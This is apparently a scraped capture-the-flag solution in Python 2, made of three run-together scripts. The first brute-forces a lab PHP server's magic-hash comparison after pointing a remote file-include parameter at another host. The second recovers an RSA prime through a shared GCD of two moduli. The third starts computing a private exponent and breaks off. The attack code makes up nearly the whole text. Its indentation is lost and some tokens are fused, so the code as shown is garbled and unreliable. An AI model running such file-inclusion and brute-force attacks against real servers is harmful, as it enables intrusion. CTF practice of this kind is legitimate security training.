import requests url="http://172.16.0.223:10025/index.php?h=bcdaf&r=00000" r=requests.session() r.get("http://172.16.0.223:10025/index.php?a=http://172.16.1.230/1.txt") s=r'ABCDEFGHIJKLMNOPQRST' for i in s: for j in s: for k in s: for l in s : payload=i+j+k+l; print payload a={'b':240610708,'c':payload} print r.post(url,data=a).content if"flag"in r.post(url,data=a).content: print payload break
defgcd(a, b): if a < b: a, b = b, a while b != 0: temp = a % b a = b b = temp return a a= int('0x9254d235f837be7093dadd7e89af96c43a919a0198b9e7f378a690fe8c655a42dffdaad9d985de77df36b1a9a192f20af40c4f14b2bd7456c98ee975ec0c92e1350f110545a1de0351e2cb0683a3b80403634fc12d0fd8b39ec70af2b1adbc73290e060d27ebbf3c7ec3934a3d6d0bd6baff1fc4ef1a59e9eb549dbfdfe6197291c2f064955841dab974ac604d4797e7667c2fd7101df03e879a93e5307248be18f01959c8e818fe98bff70fc953418ef17517d96a0b38e35e037f9cd39b6efe801f88720d9b2b4d7299dcc620eca99f8e13da58fbea7fbab2742dd6eb7de46c2951c299eaf3187b554bada1f47b8e899a93527558491610b9f018b8ea5ce921',16) b= int('0xe543df8c958aa57dbaea1ec39c192e5a8b26a64fbdcb3073ba388bc189fb645afd600b25660361df4261f4d06c96196f891f66d216519fdf3141848b69c335b74c725cca30904b46d66df286241dcb0dc030c8fb461a3e269a167a0eb53edd8b1fb56f74279e3575ac3c097c176e0648ce7ae7094fcb19202770fa47db42e2247a58575e3b15e7883ea46e525a83545866bc56f94459c8973cd8637127ffa1b640832f4b9dd9d5d8f967ccd3cb2fd222b2fcdef0a253dc306b4882e7e3f68a1250eab579a98f818696f99c68baae6cdf0634f718197e47d7f1e0a4f7b251f95958632e53465ed7d414a9ab9df6687b89dd04840a52c3e0bc39d1d1753e52ce6d',16) print gcd(a,b)
求d
1 2 3 4 5 6 7 8 9 10
import gmpy2
p = 172065274198469189283258716424446639773480626144334666332478217946919793335602221300934660008232589355869707615568396174912658652274737343045515395260992451036815064822752321636897666620519427304650758819067183595079837669597720555459781664173209246049359959646976532109655213507238169247598408455347594122469